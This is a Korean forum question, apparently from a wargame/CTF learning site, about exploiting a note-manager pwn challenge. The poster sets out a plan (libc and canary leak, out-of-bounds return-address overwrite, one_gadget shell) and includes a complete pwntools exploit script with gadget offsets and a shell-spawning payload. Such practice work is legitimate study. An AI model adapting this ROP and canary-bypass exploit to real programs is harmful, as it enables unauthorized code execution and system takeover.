마지막 익스플로잇 관련 질문
안녕하세요. 현재 취약점을 발견한 뒤로 익스플로잇을 계속 시도 중입니다.
.
.
.
근데, 뒤에 ROP 가젯 넣을 공간이 24바이트 밖에 없고, 이 공간만으로는 system("/bin/sh")를 실행시키기엔 부족한 공간이라서 계속 원가젯을 넣어보면서 시도 중인데요, 조건이 조건인지라 원가젯 조건에 부합하는 상황을 찾기가 쉽지 않습니다.
저는
read note를 이용해서 libc leak
update note에서 out of bound 취약점이 발생한다는 점을 이용해서 RAO 가능, 리턴 주소 덮어써서 공격
쉘 획득
이 순서로 익스플로잇 하려고 아래와 같이 코드를 짰습니다.
궁금한 점은,
이 공격 방법이 맞는지
맞다면, 여기서 원가젯으로 계속 해야 하는지, 아니면 system("/bin/sh")를 일으킬 다른 방법이 있는지
2-1. 아니라면, 또 다른 취약점을 이용해야 하는 것인지
이렇게 질문을 드리고 싶습니다. 코드도 같이 첨부해서 질문드립니다! 감사합니다.
from pwn import *
binary = './prob'
libc_path = './libc.so.6'
ld_path = './ld-linux-x86-64.so.2'
l = ELF('./libc.so.6')
p = process([ld_path, binary], env={'LD_PRELOAD' : './libc.so.6'}, stdin=PTY, stdout=PTY)
#p = remote('host3.dreamhack.games', 12068)
def create(size, content):
p.sendlineafter('> ', str(1))
p.sendlineafter(': ', str(size))
p.sendlineafter(': ', content)
def read(idx):
p.sendlineafter('> ', str(2))
p.sendlineafter(': ', str(idx))
def update(idx, size, content):
p.sendlineafter('> ', str(3))
p.sendlineafter(': ', str(idx))
p.sendlineafter(': ', str(size))
p.sendlineafter(': ', content)
def delete(idx):
p.sendlineafter('> ', str(4))
p.sendlineafter(': ', str(idx))
p.sendlineafter('> ', str(1))
p.sendlineafter(': ', str(1000))
read(0)
p.recvn(0x1e0)
canary = u64(p.recvn(8))
p.recvn(8)
#libc + canary leak
libc = u64(p.recvn(8)) - 0x2a1ca
one_gadget = libc + 0x583d5
binsh = libc + 0x1cb42f
pop_rdi = libc + 0x10f75b
pop_rax = libc + 0x66b9a
ret = libc + 0x2882f
system = libc + l.symbols['system']
print(hex(canary))
print(hex(libc))
delete(-1)
pause()
exploit
update(-2, 40, b'\x00'*8 + p64(canary) + p64(pop_rax) + p64(0) + p64(one_gadget))
p.interactive()
`

Garden_
댓글 1